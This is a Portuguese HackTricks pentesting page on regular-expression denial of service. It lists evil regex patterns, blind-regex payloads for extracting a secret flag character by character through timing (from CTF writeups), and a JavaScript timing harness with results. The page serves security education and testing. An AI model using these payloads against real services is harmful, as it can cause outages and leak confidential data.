hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

102 lines
6 KiB
Markdown
Raw Normal View History

# Negação de Serviço por Expressão Regular - ReDoS
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
# Negação de Serviço por Expressão Regular (ReDoS)
2021-01-26 13:51:43 +00:00
A Negação de Serviço por Expressão Regular (ReDoS) é um tipo de ataque de Negação de Serviço que **se aproveita das ineficiências nas implementações de expressões regulares**. A maioria dos motores de expressão regular pode encontrar situações extremas onde eles **desempenham muito lentamente, frequentemente de forma exponencialmente relacionada ao tamanho da entrada**. Explorando isso, um atacante pode fazer com que um programa que usa expressões regulares fique inoperante por um período prolongado de tempo.
2021-01-26 13:51:43 +00:00
## O Problema do Algoritmo Ingênuo de Regex
2021-01-26 13:51:43 +00:00
**Confira os detalhes em [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
2021-01-26 13:51:43 +00:00
## Regexes Maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
2021-01-26 13:51:43 +00:00
Um padrão de expressão regular malicioso refere-se a um que pode **ficar preso em entradas manipuladas**. Padrões de regex maliciosos tipicamente contêm agrupamento com repetição e repetição ou alternância com sobreposição dentro do grupo repetido. Alguns exemplos de padrões maliciosos incluem:
2021-01-26 13:51:43 +00:00
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} para x > 10
2021-01-26 13:51:43 +00:00
2023-06-06 18:56:34 +00:00
Todos os acima são suscetíveis à entrada `aaaaaaaaaaaaaaaaaaaaaaaa!` (O comprimento mínimo da entrada pode mudar ligeiramente, ao usar máquinas mais rápidas ou mais lentas).
2021-01-26 13:51:43 +00:00
## Cargas Úteis de ReDoS
2022-04-05 22:13:36 +00:00
### Exfiltração de String via ReDoS
2022-04-05 22:13:36 +00:00
Em um CTF (ou bug bounty) talvez você **controle o Regex com o qual uma informação sensível (a flag) é comparada**. Então, pode ser útil fazer a **página congelar (timeout ou tempo de processamento mais longo)** se o **Regex corresponder** e **não se não corresponder**. Desta forma, você será capaz de **exfiltrar** a string **caractere por caractere**:
2022-04-05 22:13:36 +00:00
* Neste [**post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) você pode encontrar esta regra de ReDoS: `^(?=<flag>)((.*)*)*salt$`
* Exemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
2023-06-06 18:56:34 +00:00
* Neste [**writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) você pode encontrar este: `<flag>(((((((.*)*)*)*)*)*)*)!`
* Neste [**writeup**](https://ctftime.org/writeup/25869) ele usou: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
2022-04-05 22:13:36 +00:00
### ReDoS Controlando Entrada e Regex
2021-01-26 13:51:43 +00:00
A seguir estão exemplos de **ReDoS** onde você **controla** tanto a **entrada** quanto o **regex**:
2021-01-26 13:51:43 +00:00
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
2021-01-26 13:51:43 +00:00
}
2022-04-05 22:13:36 +00:00
// This payloads work because the input has several "a"s
2021-01-26 13:51:43 +00:00
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
2021-01-26 13:51:43 +00:00
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
2023-06-06 18:56:34 +00:00
## Ferramentas
2021-04-16 09:25:21 +00:00
2022-04-27 12:34:57 +00:00
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
2022-04-28 16:01:33 +00:00
# Referências
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>